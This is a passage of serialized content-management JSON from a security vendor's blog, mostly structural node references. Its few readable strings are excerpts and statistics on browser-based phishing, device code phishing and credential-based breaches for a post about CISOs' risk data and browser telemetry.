content":38704,"nodeType":866},{},[38705,38708,38715],{"data":38706,"marks":38707,"value":7631,"nodeType":865},{},[],{"data":38709,"content":38710,"nodeType":889},{"uri":1419},[38711],{"data":38712,"marks":38713,"value":7639,"nodeType":865},{},[38714],{"type":943},{"data":38716,"marks":38717,"value":7643,"nodeType":865},{},[],{"data":38719,"content":38720,"nodeType":866},{},[38721],{"data":38722,"marks":38723,"value":7650,"nodeType":865},{},[],{"data":38725,"content":38728,"nodeType":912},{"target":38726},{"sys":38727},{"id":7655,"type":909,"linkType":910},[],{"data":38730,"content":38731,"nodeType":866},{},[38732],{"data":38733,"marks":38734,"value":7663,"nodeType":865},{},[],{"data":38736,"content":38737,"nodeType":1317},{},[38738],{"data":38739,"marks":38740,"value":7671,"nodeType":865},{},[38741],{"type":926},{"data":38743,"content":38744,"nodeType":866},{},[38745],{"data":38746,"marks":38747,"value":7678,"nodeType":865},{},[],{"data":38749,"content":38750,"nodeType":866},{},[38751,38754,38760],{"data":38752,"marks":38753,"value":7685,"nodeType":865},{},[],{"data":38755,"content":38756,"nodeType":889},{"uri":5233},[38757],{"data":38758,"marks":38759,"value":5238,"nodeType":865},{},[],{"data":38761,"marks":38762,"value":7695,"nodeType":865},{},[],{"data":38764,"content":38765,"nodeType":866},{},[38766],{"data":38767,"marks":38768,"value":7702,"nodeType":865},{},[],{"data":38770,"content":38771,"nodeType":866},{},[38772,38775,38781],{"data":38773,"marks":38774,"value":7709,"nodeType":865},{},[],{"data":38776,"content":38777,"nodeType":889},{"uri":7712},[38778],{"data":38779,"marks":38780,"value":7717,"nodeType":865},{},[],{"data":38782,"marks":38783,"value":7721,"nodeType":865},{},[],{"data":38785,"content":38786,"nodeType":972},{},[],{"data":38788,"content":38789,"nodeType":981},{},[38790],{"data":38791,"marks":38792,"value":7732,"nodeType":865},{},[38793],{"type":926},{"data":38795,"content":38796,"nodeType":866},{},[38797],{"data":38798,"marks":38799,"value":7739,"nodeType":865},{},[],{"data":38801,"content":38802,"nodeType":866},{},[38803],{"data":38804,"marks":38805,"value":7746,"nodeType":865},{},[],{"data":38807,"content":38808,"nodeType":866},{},[38809],{"data":38810,"marks":38811,"value":7753,"nodeType":865},{},[],{"data":38813,"content":38814,"nodeType":972},{},[],{"data":38816,"content":38817,"nodeType":866},{},[38818],{"data":38819,"marks":38820,"value":1356,"nodeType":865},{},[],{"data":38822,"content":38823,"nodeType":866},{},[38824],{"data":38825,"marks":38826,"value":1363,"nodeType":865},{},[],{"data":38828,"content":38829,"nodeType":866},{},[38830,38833,38840],{"data":38831,"marks":38832,"value":21,"nodeType":865},{},[],{"data":38834,"content":38835,"nodeType":889},{"uri":1372},[38836],{"data":38837,"marks":38838,"value":7011,"nodeType":865},{},[38839],{"type":943},{"data":38841,"marks":38842,"value":2302,"nodeType":865},{},[],{"items":38844},[38845,38847],{"sys":38846,"name":342},{"id":4642},{"sys":38848,"name":7796},{"id":7795},{"items":38850},[38851],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":38852},{"url":7804},"blog/can-ai-replace-a-threat-researcher-what-we-learned-building-an-agentic-threat-hunting-pipeline",{"json":38855},{"data":38856,"content":38857,"nodeType":1382},{},[38858],{"data":38859,"content":38860,"nodeType":866},{},[38861],{"data":38862,"marks":38863,"value":38864,"nodeType":865},{},[],"What does agentic threat hunting against modern browser-based attacks actually look like? At Push, we built an end-to-end threat hunting and detection engineering capability that uses AI agents as a force multiplier, tripling the number of new detections we’re shipping each month. Here’s how it works.",{"id":33578,"publishedAt":38866},"2026-08-12T11:52:54.643Z",{"items":38868},[38869,38871],{"sys":38870,"name":7796},{"id":7795},{"sys":38872,"name":342},{"id":4642},{"items":38874},[38875,38877,38879,38881,38883,38885,38887,38889,38891,38893,38895,38897,38899,38901,38903,38905,38907],{"sys":38876,"name":297,"slug":298,"tier":31},{"id":294},{"sys":38878,"name":235,"slug":236,"tier":31},{"id":232},{"sys":38880,"name":342,"slug":343,"tier":31},{"id":339},{"sys":38882,"name":279,"slug":280,"tier":31},{"id":276},{"sys":38884,"name":519,"slug":520,"tier":31},{"id":516},{"sys":38886,"name":351,"slug":352,"tier":45},{"id":348},{"sys":38888,"name":315,"slug":316,"tier":45},{"id":312},{"sys":38890,"name":440,"slug":441,"tier":45},{"id":437},{"sys":38892,"name":244,"slug":245,"tier":45},{"id":241},{"sys":38894,"name":261,"slug":262,"tier":45},{"id":258},{"sys":38896,"name":511,"slug":512,"tier":45},{"id":508},{"sys":38898,"name":360,"slug":361,"tier":45},{"id":357},{"sys":38900,"name":484,"slug":485,"tier":45},{"id":481},{"sys":38902,"name":448,"slug":449,"tier":45},{"id":445},{"sys":38904,"name":563,"slug":564,"tier":45},{"id":560},{"sys":38906,"name":324,"slug":325,"tier":45},{"id":321},{"sys":38908,"name":571,"slug":572,"tier":45},{"id":568},"EIw901ieTSJKgYUJtBGNL0gxQIxXjCkEBakCEa5VEHA",{"id":38911,"title":7015,"authorsCollection":38912,"content":38916,"extension":228,"faqItemsCollection":39454,"faqTitle":59,"featured":6,"hashTags":59,"meta":39456,"metaTitle":39457,"ogImage":59,"postType":1424,"publishedDate":7017,"relatedBlogPostsCollection":39458,"slug":7018,"stem":41971,"subtitle":59,"summary":41972,"synopsis":7016,"sys":41983,"tagsCollection":41985,"topicsCollection":41991,"__hash__":42039},"blog/blog/the-cisos-data-problem-and-how-browser-telemetry-can-help.json",{"items":38913},[38914],{"fullName":849,"firstName":850,"jobTitle":851,"socialLinks":59,"profilePicture":38915},{"url":853},{"json":38917,"links":39346},{"data":38918,"content":38919,"nodeType":1382},{},[38920,38927,38951,38956,38962,38977,38990,38993,39000,39013,39029,39049,39054,39067,39091,39096,39101,39114,39117,39124,39130,39137,39153,39166,39173,39195,39201,39208,39232,39238,39245,39251,39256,39259,39266,39272,39279,39284,39287,39294,39300,39306,39312,39322,39325,39331],{"data":38921,"content":38922,"nodeType":981},{},[38923],{"data":38924,"marks":38925,"value":6518,"nodeType":865},{},[38926],{"type":926},{"data":38928,"content":38929,"nodeType":866},{},[38930,38933,38939,38942,38948],{"data":38931,"marks":38932,"value":6525,"nodeType":865},{},[],{"data":38934,"content":38935,"nodeType":889},{"uri":6528},[38936],{"data":38937,"marks":38938,"value":6533,"nodeType":865},{},[],{"data":38940,"marks":38941,"value":6537,"nodeType":865},{},[],{"data":38943,"content":38944,"nodeType":889},{"uri":6540},[38945],{"data":38946,"marks":38947,"value":6545,"nodeType":865},{},[],{"data":38949,"marks":38950,"value":6549,"nodeType":865},{},[],{"data":38952,"content":38955,"nodeType":912},{"target":38953},{"sys":38954},{"id":6554,"type":909,"linkType":910},[],{"data":38957,"content":38958,"nodeType":866},{},[38959],{"data":38960,"marks":38961,"value":6562,"nodeType":865},{},[],{"data":38963,"content":38964,"nodeType":866},{},[38965,38968,38974],{"data":38966,"marks":38967,"value":6569,"nodeType":865},{},[],{"data":38969,"content":38970,"nodeType":889},{"uri":6572},[38971],{"data":38972,"marks":38973,"value":6577,"nodeType":865},{},[],{"data":38975,"marks":38976,"value":6581,"nodeType":865},{},[],{"data":38978,"content":38979,"nodeType":866},{},[38980,38983,38987],{"data":38981,"marks":38982,"value":6588,"nodeType":865},{},[],{"data":38984,"marks":38985,"value":6593,"nodeType":865},{},[38986],{"type":926},{"data":38988,"marks":38989,"value":1615,"nodeType":865},{},[],{"data":38991,"content":38992,"nodeType":972},{},[],{"data":38994,"content":38995,"nodeType":981},{},[38996],{"data":38997,"marks":38998,"value":6607,"nodeType":865},{},[38999],{"type":926},{"data":39001,"content":39002,"nodeType":866},{},[39003,39006,39010],{"data":39004,"marks":39005,"value":6614,"nodeType":865},{},[],{"data":39007,"marks":39008,"value":6619,"nodeType":865},{},[39009],{"type":898},{"data":39011,"marks":39012,"value":1615,"nodeType":865},{},[],{"data":39014,"content":39015,"nodeType":866},{},[39016,39019,39026],{"data":39017,"marks":39018,"value":6629,"nodeType":865},{},[],{"data":39020,"content":39021,"nodeType":889},{"uri":6347},[39022],{"data":39023,"marks":39024,"value":6637,"nodeType":865},{},[39025],{"type":943},{"data":39027,"marks":39028,"value":6641,"nodeType":865},{},[],{"data":39030,"content":39031,"nodeType":866},{},[39032,39035,39039,39042,39046],{"data":39033,"marks":39034,"value":6648,"nodeType":865},{},[],{"data":39036,"marks":39037,"value":6653,"nodeType":865},{},[39038],{"type":926},{"data":39040,"marks":39041,"value":6657,"nodeType":865},{},[],{"data":39043,"marks":39044,"value":6662,"nodeType":865},{},[39045],{"type":898},{"data":39047,"marks":39048,"value":6666,"nodeType":865},{},[],{"data":39050,"content":39053,"nodeType":912},{"target":39051},{"sys":39052},{"id":6671,"type":909,"linkType":910},[],{"data":39055,"content":39056,"nodeType":866},{},[39057,39060,39064],{"data":39058,"marks":39059,"value":6679,"nodeType":865},{},[],{"data":39061,"marks":39062,"value":6684,"nodeType":865},{},[39063],{"type":926},{"data":39065,"marks":39066,"value":6688,"nodeType":865},{},[],{"data":39068,"content":39069,"nodeType":866},{},[39070,39073,39079,39082,39088],{"data":39071,"marks":39072,"value":6695,"nodeType":865},{},[],{"data":39074,"content":39075,"nodeType":889},{"uri":6698},[39076],{"data":39077,"marks":39078,"value":6703,"nodeType":865},{},[],{"data":39080,"marks":39081,"value":6707,"nodeType":865},{},[],{"data":39083,"content":39084,"nodeType":889},{"uri":6710},[39085],{"data":39086,"marks":39087,"value":6715,"nodeType":865},{},[],{"data":39089,"marks":39090,"value":6719,"nodeType":865},{},[],{"data":39092,"content":39095,"nodeType":912},{"target":39093},{"sys":39094},{"id":6724,"type":909,"linkType":910},[],{"data":39097,"content":39100,"nodeType":912},{"target":39098},{"sys":39099},{"id":6730,"type":909,"linkType":910},[],{"data":39102,"content":39103,"nodeType":866},{},[39104,39107,39111],{"data":39105,"marks":39106,"value":6738,"nodeType":865},{},[],{"data":39108,"marks":39109,"value":6743,"nodeType":865},{},[39110],{"type":926},{"data":39112,"marks":39113,"value":6747,"nodeType":865},{},[],{"data":39115,"content":39116,"nodeType":972},{},[],{"data":39118,"content":39119,"nodeType":981},{},[39120],{"data":39121,"marks":39122,"value":6758,"nodeType":865},{},[39123],{"type":926},{"data":39125,"content":39126,"nodeType":866},{},[39127],{"data":39128,"marks":39129,"value":6765,"nodeType":865},{},[],{"data":39131,"content":39132,"nodeType":1317},{},[39133],{"data":39134,"marks":39135,"value":6773,"nodeType":865},{},[39136],{"type":926},{"data":39138,"content":39139,"nodeType":866},{},[39140,39143,39150],{"data":39141,"marks":39142,"value":21,"nodeType":865},{},[],{"data":39144,"content":39145,"nodeType":889},{"uri":3841},[39146],{"data":39147,"marks":39148,"value":6787,"nodeType":865},{},[39149],{"type":943},{"data":39151,"marks":39152,"value":6791,"nodeType":865},{},[],{"data":39154,"content":39155,"nodeType":866},{},[39156,39159,39163],{"data":39157,"marks":39158,"value":6798,"nodeType":865},{},[],{"data":39160,"marks":39161,"value":6803,"nodeType":865},{},[39162],{"type":926},{"data":39164,"marks":39165,"value":6807,"nodeType":865},{},[],{"data":39167,"content":39168,"nodeType":1317},{},[39169],{"data":39170,"marks":39171,"value":288,"nodeType":865},{},[39172],{"type":926},{"data":39174,"content":39175,"nodeType":866},{},[39176,39180,39188,39192],{"data":39177,"marks":39178,"value":21,"nodeType":865},{},[39179],{"type":926},{"data":39181,"content":39182,"nodeType":889},{"uri":3720},[39183],{"data":39184,"marks":39185,"value":6830,"nodeType":865},{},[39186,39187],{"type":943},{"type":926},{"data":39189,"marks":39190,"value":6835,"nodeType":865},{},[39191],{"type":926},{"data":39193,"marks":39194,"value":6839,"nodeType":865},{},[],{"data":39196,"content":39197,"nodeType":866},{},[39198],{"data":39199,"marks":39200,"value":6846,"nodeType":865},{},[],{"data":39202,"content":39203,"nodeType":1317},{},[39204],{"data":39205,"marks":39206,"value":6854,"nodeType":865},{},[39207],{"type":926},{"data":39209,"content":39210,"nodeType":866},{},[39211,39214,39220,39223,39229],{"data":39212,"marks":39213,"value":6861,"nodeType":865},{},[],{"data":39215,"content":39216,"nodeType":889},{"uri":6864},[39217],{"data":39218,"marks":39219,"value":6869,"nodeType":865},{},[],{"data":39221,"marks":39222,"value":6873,"nodeType":865},{},[],{"data":39224,"content":39225,"nodeType":889},{"uri":1929},[39226],{"data":39227,"marks":39228,"value":6880,"nodeType":865},{},[],{"data":39230,"marks":39231,"value":6884,"nodeType":865},{},[],{"data":39233,"content":39234,"nodeType":866},{},[39235],{"data":39236,"marks":39237,"value":6891,"nodeType":865},{},[],{"data":39239,"content":39240,"nodeType":1317},{},[39241],{"data":39242,"marks":39243,"value":6899,"nodeType":865},{},[39244],{"type":926},{"data":39246,"content":39247,"nodeType":866},{},[39248],{"data":39249,"marks":39250,"value":6906,"nodeType":865},{},[],{"data":39252,"content":39255,"nodeType":912},{"target":39253},{"sys":39254},{"id":6911,"type":909,"linkType":910},[],{"data":39257,"content":39258,"nodeType":972},{},[],{"data":39260,"content":39261,"nodeType":981},{},[39262],{"data":39263,"marks":39264,"value":6923,"nodeType":865},{},[39265],{"type":926},{"data":39267,"content":39268,"nodeType":866},{},[39269],{"data":39270,"marks":39271,"value":6930,"nodeType":865},{},[],{"data":39273,"content":39274,"nodeType":866},{},[39275],{"data":39276,"marks":39277,"value":6938,"nodeType":865},{},[39278],{"type":926},{"data":39280,"content":39283,"nodeType":912},{"target":39281},{"sys":39282},{"id":6943,"type":909,"linkType":910},[],{"data":39285,"content":39286,"nodeType":972},{},[],{"data":39288,"content":39289,"nodeType":1317},{},[39290],{"data":39291,"marks":39292,"value":6955,"nodeType":865},{},[39293],{"type":926},{"data":39295,"content":39296,"nodeType":866},{},[39297],{"data":39298,"marks":39299,"value":6962,"nodeType":865},{},[],{"data":39301,"content":39302,"nodeType":866},{},[39303],{"data":39304,"marks":39305,"value":6969,"nodeType":865},{},[],{"data":39307,"content":39308,"nodeType":866},{},[39309],{"data":39310,"marks":39311,"value":6976,"nodeType":865},{},[],{"data":39313,"content":39314,"nodeType":866},{},[39315,39319],{"data":39316,"marks":39317,"value":6984,"nodeType":865},{},[39318],{"type":926},{"data":39320,"marks":39321,"value":6988,"nodeType":865},{},[],{"data":39323,"content":39324,"nodeType":972},{},[],{"data":39326,"content":39327,"nodeType":866},{},[39328],{"data":39329,"marks":39330,"value":4591,"nodeType":865},{},[],{"data":39332,"content":39333,"nodeType":866},{},[39334,39337,39343],{"data":39335,"marks":39336,"value":7004,"nodeType":865},{},[],{"data":39338,"content":39339,"nodeType":889},{"uri":5477},[39340],{"data":39341,"marks":39342,"value":7011,"nodeType":865},{},[],{"data":39344,"marks":39345,"value":2302,"nodeType":865},{},[],{"entries":39347},{"hyperlink":39348,"inline":39349,"block":39350},[],[],[39351,39357,39371,39398,39404,39446],{"sys":39352,"__typename":1390,"title":39353,"caption":39353,"layoutMode":59,"file":39354},{"id":6554},"Risk Matrix-style risk modeling versus Loss Exceedance Curve.",{"url":39355,"width":1402,"height":39356},"https://images.ctfassets.net/y1cdw1ablpvd/2bkhvxg1zeLZnrTyzQXQjd/58cfb711a8825b5861a47ef18db8b661/image1.png",1033,{"sys":39358,"__typename":5503,"content":39359,"name":39370,"title":59},{"id":6671},{"json":39360},{"nodeType":1382,"data":39361,"content":39362},{},[39363],{"nodeType":866,"data":39364,"content":39365},{},[39366],{"nodeType":865,"value":39367,"marks":39368,"data":39369},"Models that estimate TEF without factoring in browser-borne attacks are systemically undercounting. One key example of this is email-delivered phishing data. Roughly 1 in 3 phishing payloads intercepted by Push are delivered outside of email, meaning an email-only risk assessment is missing the attacks happening over channels like social media, search ads, and messaging apps that most risk models ignore entirely — places where the success chance is far higher because of the lack of control (and because users don't expect it). ",[],{},"CISO data problem IB1",{"sys":39372,"__typename":5503,"content":39373,"name":39397,"title":59},{"id":6724},{"json":39374},{"nodeType":1382,"data":39375,"content":39376},{},[39377],{"nodeType":866,"data":39378,"content":39379},{},[39380,39385,39392],{"nodeType":865,"value":39381,"marks":39382,"data":39384},"There are many examples of ghost logins being exploited by attackers in the wild, but the landmark case remains 2024's ",[39383],{"type":926},{},{"nodeType":889,"data":39386,"content":39387},{"uri":3488},[39388],{"nodeType":865,"value":3493,"marks":39389,"data":39391},[39390],{"type":926},{},{"nodeType":865,"value":39393,"marks":39394,"data":39396},", in which 165 organizations were breached using compromised credentials that had been sitting online since 2020. MFA was missing in every case. ",[39395],{"type":926},{},"CISO data problem IB3",{"sys":39399,"__typename":1390,"title":39400,"caption":39400,"layoutMode":59,"file":39401},{"id":6730},"Data from Push login telemetry across customer environments.",{"url":39402,"width":1411,"height":39403},"https://images.ctfassets.net/y1cdw1ablpvd/67iyvaMRSinyWAPqNFRity/5650febed866df4656160006d7415588/Frame_1__2_.png",496,{"sys":39405,"__typename":5503,"content":39406,"name":39445,"title":59},{"id":6911},{"json":39407},{"nodeType":1382,"data":39408,"content":39409},{},[39410,39427],{"nodeType":866,"data":39411,"content":39412},{},[39413,39416,39423],{"nodeType":865,"value":1948,"marks":39414,"data":39415},[],{},{"nodeType":889,"data":39417,"content":39418},{"uri":1951},[39419],{"nodeType":865,"value":39420,"marks":39421,"data":39422},"37x increase in device code phishing attacks since the start of 2026",[],{},{"nodeType":865,"value":39424,"marks":39425,"data":39426},", with at least 12 distinct kits now offering the technique, while established AiTM vendors like Tycoon are now adding authorization-focused options alongside their existing session token and credential harvesting capabilities. ",[],{},{"nodeType":866,"data":39428,"content":39429},{},[39430,39434,39441],{"nodeType":865,"value":39431,"marks":39432,"data":39433},"Device code phishing has featured heavily in ",[],{},{"nodeType":889,"data":39435,"content":39436},{"uri":3820},[39437],{"nodeType":865,"value":39438,"marks":39439,"data":39440},"ShinyHunters campaigns",[],{},{"nodeType":865,"value":39442,"marks":39443,"data":39444}," in 2025 and 2026 along with AiTM phishing and OAuth token abuse, often paired with voice-based lure delivery that misses traditional endpoint controls (but inevitably leads the victim to a webpage in the browser where the payload is delivered). ",[],{},"CISO data problem IB2",{"sys":39447,"__typename":1390,"title":39448,"caption":39449,"layoutMode":59,"file":39450},{"id":6943},"Precision improvements with browser telemetry.","Precision risk assessment improvements with browser telemetry.",{"url":39451,"width":39452,"height":39453},"https://images.ctfassets.net/y1cdw1ablpvd/1hpJGD6oVLcvalCTuFBia3/547b689a199b5b4ac3b2e7ddb9f3079d/blog-inline-fair-model-v4_1.png",2200,1520,{"items":39455},[],{},"Why modern attack data is missing in your threat analysis",{"items":39459},[39460,40293,41052],{"__typename":1429,"sys":39461,"content":39462,"title":16369,"synopsis":16370,"hashTags":59,"publishedDate":13337,"slug":16371,"tagsCollection":40283,"authorsCollection":40289},{"id":15406},{"json":39463},{"data":39464,"content":39465,"nodeType":1382},{},[39466,39488,39512,39545,39578,39583,39593,39596,39603,39645,39651,39670,39675,39678,39685,39709,39715,39722,39727,39730,39737,39743,39758,39764,39797,39803,39806,39813,39828,39870,39873,39880,39895,39910,39917,39923,39933,39943,39953,39963,39978,39985,39991,39994,40000,40006,40021,40024,40031,40046,40277],{"data":39467,"content":39468,"nodeType":866},{},[39469,39472,39478,39481,39485],{"data":39470,"marks":39471,"value":15417,"nodeType":865},{},[],{"data":39473,"content":39474,"nodeType":889},{"uri":4991},[39475],{"data":39476,"marks":39477,"value":8673,"nodeType":865},{},[],{"data":39479,"marks":39480,"value":15427,"nodeType":865},{},[],{"data":39482,"marks":39483,"value":15432,"nodeType":865},{},[39484],{"type":926},{"data":39486,"marks":39487,"value":15436,"nodeType":865},{},[],{"data":39489,"content":39490,"nodeType":866},{},[39491,39494,39500,39503,39509],{"data":39492,"marks":39493,"value":15443,"nodeType":865},{},[],{"data":39495,"content":39496,"nodeType":889},{"uri":15446},[39497],{"data":39498,"marks":39499,"value":15451,"nodeType":865},{},[],{"data":39501,"marks":39502,"value":15455,"nodeType":865},{},[],{"data":39504,"content":39505,"nodeType":889},{"uri":15458},[39506],{"data":39507,"marks":39508,"value":15463,"nodeType":865},{},[],{"data":39510,"marks":39511,"value":15467,"nodeType":865},{},[],{"data":39513,"content":39514,"nodeType":866},{},[39515,39518,39524,39527,39533,39536,39542],{"data":39516,"marks":39517,"value":15474,"nodeType":865},{},[],{"data":39519,"content":39520,"nodeType":889},{"uri":15477},[39521],{"data":39522,"marks":39523,"value":15482,"nodeType":865},{},[],{"data":39525,"marks":39526,"value":15486,"nodeType":865},{},[],{"data":39528,"content":39529,"nodeType":889},{"uri":15489},[39530],{"data":39531,"marks":39532,"value":15494,"nodeType":865},{},[],{"data":39534,"marks":39535,"value":15498,"nodeType":865},{},[],{"data":39537,"content":39538,"nodeType":889},{"uri":15501},[39539],{"data":39540,"marks":39541,"value":15506,"nodeType":865},{},[],{"data":39543,"marks":39544,"value":15510,"nodeType":865},{},[],{"data":39546,"content":39547,"nodeType":866},{},[39548,39551,39557,39560,39566,39569,39575],{"data":39549,"marks":39550,"value":15517,"nodeType":865},{},[],{"data":39552,"content":39553,"nodeType":889},{"uri":15520},[39554],{"data":39555,"marks":39556,"value":15525,"nodeType":865},{},[],{"data":39558,"marks":39559,"value":15529,"nodeType":865},{},[],{"data":39561,"content":39562,"nodeType":889},{"uri":15532},[39563],{"data":39564,"marks":39565,"value":15537,"nodeType":865},{},[],{"data":39567,"marks":39568,"value":15541,"nodeType":865},{},[],{"data":39570,"content":39571,"nodeType":889},{"uri":15544},[39572],{"data":39573,"marks":39574,"value":15549,"nodeType":865},{},[],{"data":39576,"marks":39577,"value":15553,"nodeType":865},{},[],{"data":39579,"content":39582,"nodeType":912},{"target":39580},{"sys":39581},{"id":15558,"type":909,"linkType":910},[],{"data":39584,"content":39585,"nodeType":866},{},[39586,39590],{"data":39587,"marks":39588,"value":15567,"nodeType":865},{},[39589],{"type":926},{"data":39591,"marks":39592,"value":15571,"nodeType":865},{},[],{"data":39594,"content":39595,"nodeType":972},{},[],{"data":39597,"content":39598,"nodeType":981},{},[39599],{"data":39600,"marks":39601,"value":15582,"nodeType":865},{},[39602],{"type":926},{"data":39604,"content":39605,"nodeType":866},{},[39606,39609,39615,39618,39624,39627,39633,39636,39642],{"data":39607,"marks":39608,"value":15589,"nodeType":865},{},[],{"data":39610,"content":39611,"nodeType":889},{"uri":15592},[39612],{"data":39613,"marks":39614,"value":15597,"nodeType":865},{},[],{"data":39616,"marks":39617,"value":14216,"nodeType":865},{},[],{"data":39619,"content":39620,"nodeType":889},{"uri":15603},[39621],{"data":39622,"marks":39623,"value":15608,"nodeType":865},{},[],{"data":39625,"marks":39626,"value":14629,"nodeType":865},{},[],{"data":39628,"content":39629,"nodeType":889},{"uri":15489},[39630],{"data":39631,"marks":39632,"value":15618,"nodeType":865},{},[],{"data":39634,"marks":39635,"value":15622,"nodeType":865},{},[],{"data":39637,"content":39638,"nodeType":889},{"uri":13633},[39639],{"data":39640,"marks":39641,"value":15629,"nodeType":865},{},[],{"data":39643,"marks":39644,"value":1615,"nodeType":865},{},[],{"data":39646,"content":39647,"nodeType":866},{},[39648],{"data":39649,"marks":39650,"value":15639,"nodeType":865},{},[],{"data":39652,"content":39653,"nodeType":866},{},[39654,39657,39663,39666],{"data":39655,"marks":39656,"value":15646,"nodeType":865},{},[],{"data":39658,"content":39659,"nodeType":889},{"uri":13633},[39660],{"data":39661,"marks":39662,"value":15653,"nodeType":865},{},[],{"data":39664,"marks":39665,"value":15657,"nodeType":865},{},[],{"data":39667,"marks":39668,"value":15662,"nodeType":865},{},[39669],{"type":926},{"data":39671,"content":39674,"nodeType":912},{"target":39672},{"sys":39673},{"id":15667,"type":909,"linkType":910},[],{"data":39676,"content":39677,"nodeType":972},{},[],{"data":39679,"content":39680,"nodeType":981},{},[39681],{"data":39682,"marks":39683,"value":15679,"nodeType":865},{},[39684],{"type":926},{"data":39686,"content":39687,"nodeType":866},{},[39688,39691,39697,39700,39706],{"data":39689,"marks":39690,"value":1449,"nodeType":865},{},[],{"data":39692,"content":39693,"nodeType":889},{"uri":13013},[39694],{"data":39695,"marks":39696,"value":15692,"nodeType":865},{},[],{"data":39698,"marks":39699,"value":15696,"nodeType":865},{},[],{"data":39701,"content":39702,"nodeType":889},{"uri":15501},[39703],{"data":39704,"marks":39705,"value":15703,"nodeType":865},{},[],{"data":39707,"marks":39708,"value":15707,"nodeType":865},{},[],{"data":39710,"content":39711,"nodeType":866},{},[39712],{"data":39713,"marks":39714,"value":15714,"nodeType":865},{},[],{"data":39716,"content":39717,"nodeType":866},{},[39718],{"data":39719,"marks":39720,"value":15722,"nodeType":865},{},[39721],{"type":926},{"data":39723,"content":39726,"nodeType":912},{"target":39724},{"sys":39725},{"id":15727,"type":909,"linkType":910},[],{"data":39728,"content":39729,"nodeType":972},{},[],{"data":39731,"content":39732,"nodeType":981},{},[39733],{"data":39734,"marks":39735,"value":15739,"nodeType":865},{},[39736],{"type":926},{"data":39738,"content":39739,"nodeType":866},{},[39740],{"data":39741,"marks":39742,"value":15746,"nodeType":865},{},[],{"data":39744,"content":39745,"nodeType":866},{},[39746,39749,39755],{"data":39747,"marks":39748,"value":1449,"nodeType":865},{},[],{"data":39750,"content":39751,"nodeType":889},{"uri":15755},[39752],{"data":39753,"marks":39754,"value":15760,"nodeType":865},{},[],{"data":39756,"marks":39757,"value":15764,"nodeType":865},{},[],{"data":39759,"content":39760,"nodeType":866},{},[39761],{"data":39762,"marks":39763,"value":15771,"nodeType":865},{},[],{"data":39765,"content":39766,"nodeType":866},{},[39767,39770,39776,39779,39785,39788,39794],{"data":39768,"marks":39769,"value":15778,"nodeType":865},{},[],{"data":39771,"content":39772,"nodeType":889},{"uri":15781},[39773],{"data":39774,"marks":39775,"value":15786,"nodeType":865},{},[],{"data":39777,"marks":39778,"value":15790,"nodeType":865},{},[],{"data":39780,"content":39781,"nodeType":889},{"uri":15793},[39782],{"data":39783,"marks":39784,"value":15798,"nodeType":865},{},[],{"data":39786,"marks":39787,"value":15802,"nodeType":865},{},[],{"data":39789,"content":39790,"nodeType":889},{"uri":3841},[39791],{"data":39792,"marks":39793,"value":15809,"nodeType":865},{},[],{"data":39795,"marks":39796,"value":15813,"nodeType":865},{},[],{"data":39798,"content":39799,"nodeType":866},{},[39800],{"data":39801,"marks":39802,"value":15820,"nodeType":865},{},[],{"data":39804,"content":39805,"nodeType":972},{},[],{"data":39807,"content":39808,"nodeType":981},{},[39809],{"data":39810,"marks":39811,"value":15831,"nodeType":865},{},[39812],{"type":926},{"data":39814,"content":39815,"nodeType":866},{},[39816,39819,39825],{"data":39817,"marks":39818,"value":15838,"nodeType":865},{},[],{"data":39820,"content":39821,"nodeType":889},{"uri":15841},[39822],{"data":39823,"marks":39824,"value":15846,"nodeType":865},{},[],{"data":39826,"marks":39827,"value":15850,"nodeType":865},{},[],{"data":39829,"content":39830,"nodeType":866},{},[39831,39834,39840,39843,39849,39852,39858,39861,39867],{"data":39832,"marks":39833,"value":15857,"nodeType":865},{},[],{"data":39835,"content":39836,"nodeType":889},{"uri":15860},[39837],{"data":39838,"marks":39839,"value":15865,"nodeType":865},{},[],{"data":39841,"marks":39842,"value":15869,"nodeType":865},{},[],{"data":39844,"content":39845,"nodeType":889},{"uri":15872},[39846],{"data":39847,"marks":39848,"value":15877,"nodeType":865},{},[],{"data":39850,"marks":39851,"value":15881,"nodeType":865},{},[],{"data":39853,"content":39854,"nodeType":889},{"uri":15884},[39855],{"data":39856,"marks":39857,"value":15889,"nodeType":865},{},[],{"data":39859,"marks":39860,"value":15893,"nodeType":865},{},[],{"data":39862,"content":39863,"nodeType":889},{"uri":15896},[39864],{"data":39865,"marks":39866,"value":15901,"nodeType":865},{},[],{"data":39868,"marks":39869,"value":15905,"nodeType":865},{},[],{"data":39871,"content":39872,"nodeType":972},{},[],{"data":39874,"content":39875,"nodeType":981},{},[39876],{"data":39877,"marks":39878,"value":15916,"nodeType":865},{},[39879],{"type":926},{"data":39881,"content":39882,"nodeType":866},{},[39883,39886,39892],{"data":39884,"marks":39885,"value":15923,"nodeType":865},{},[],{"data":39887,"content":39888,"nodeType":889},{"uri":1951},[39889],{"data":39890,"marks":39891,"value":15930,"nodeType":865},{},[],{"data":39893,"marks":39894,"value":15934,"nodeType":865},{},[],{"data":39896,"content":39897,"nodeType":866},{},[39898,39901,39907],{"data":39899,"marks":39900,"value":15941,"nodeType":865},{},[],{"data":39902,"content":39903,"nodeType":889},{"uri":15944},[39904],{"data":39905,"marks":39906,"value":315,"nodeType":865},{},[],{"data":39908,"marks":39909,"value":15952,"nodeType":865},{},[],{"data":39911,"content":39912,"nodeType":1317},{},[39913],{"data":39914,"marks":39915,"value":6331,"nodeType":865},{},[39916],{"type":926},{"data":39918,"content":39919,"nodeType":866},{},[39920],{"data":39921,"marks":39922,"value":15966,"nodeType":865},{},[],{"data":39924,"content":39925,"nodeType":866},{},[39926,39930],{"data":39927,"marks":39928,"value":15974,"nodeType":865},{},[39929],{"type":926},{"data":39931,"marks":39932,"value":15978,"nodeType":865},{},[],{"data":39934,"content":39935,"nodeType":866},{},[39936,39940],{"data":39937,"marks":39938,"value":15986,"nodeType":865},{},[39939],{"type":926},{"data":39941,"marks":39942,"value":15990,"nodeType":865},{},[],{"data":39944,"content":39945,"nodeType":866},{},[39946,39950],{"data":39947,"marks":39948,"value":15998,"nodeType":865},{},[39949],{"type":926},{"data":39951,"marks":39952,"value":16002,"nodeType":865},{},[],{"data":39954,"content":39955,"nodeType":866},{},[39956,39960],{"data":39957,"marks":39958,"value":16010,"nodeType":865},{},[39959],{"type":926},{"data":39961,"marks":39962,"value":16014,"nodeType":865},{},[],{"data":39964,"content":39965,"nodeType":866},{},[39966,39969,39975],{"data":39967,"marks":39968,"value":21,"nodeType":865},{},[],{"data":39970,"content":39971,"nodeType":889},{"uri":1256},[39972],{"data":39973,"marks":39974,"value":16027,"node